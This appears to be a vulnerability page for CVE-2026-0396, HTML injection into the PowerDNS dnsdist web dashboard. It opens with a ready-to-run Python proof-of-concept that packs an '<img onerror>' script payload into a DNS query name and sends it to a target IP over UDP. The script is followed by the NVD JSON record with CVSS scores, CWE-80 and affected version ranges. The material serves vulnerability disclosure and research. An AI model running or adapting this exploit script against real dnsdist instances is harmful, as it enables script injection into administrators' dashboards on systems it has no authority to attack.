CVE-2026-0396

# PoC for CVE-2026-0396: HTML Injection in dnsdist import socket import struct def send_dns_query(target_ip, domain): # DNS Header transaction_id = 0x1234 flags = 0x0100 # Standard query questions = 1 answer_rrs = 0 authority_rrs = 0 additional_rrs = 0 header = struct.pack('!HHHHHH', transaction_id, flags, questions, answer_rrs, authority_rrs, additional_rrs) # DNS Question # Encode domain name (e.g., <img src=x onerror=alert(1)>.example.com) query_body = b'' for part in domain.split('.'): if part: query_body += bytes([len(part)]) + part.encode() query_body += b'\x00' # End of name query_body += struct.pack('!HH', 1, 1) # Type A, Class IN packet = header + query_body sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(packet, (target_ip, 53)) sock.close() print(f"Sent payload to {target_ip} for domain: {domain}") # Usage target = "192.168.1.100" # Replace with actual target payload_domain = "<img src=x onerror=alert('CVE-2026-0396')>.example.com" send_dns_query(target, payload_domain)

{"cve": {"id": "CVE-2026-0396", "sourceIdentifier": "[email protected]", "published": "2026-03-31T12:16:27.190", "lastModified": "2026-04-13T12:46:34.270", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An attacker might be able to inject HTML content into the internal web dashboard by sending crafted DNS queries to a DNSdist instance where domain-based dynamic rules have been enabled via either DynBlockRulesGroup:setSuffixMatchRule or DynBlockRulesGroup:setSuffixMatchRuleFFI."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-80"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:dnsdist:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.9.0", "versionEndExcluding": "1.9.12", "matchCriteriaId": "628B3B94-81DE-496E-B36A-B79A3DFFE1F4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:dnsdist:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.0.3", "matchCriteriaId": "9AC850DD-FDD8-4C48-B861-4BBAF423FF57"}]}]}], "references": [{"url": "https://www.dnsdist.org/security-advisories/powerdns-advisory-for-dnsdist-2026-02.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}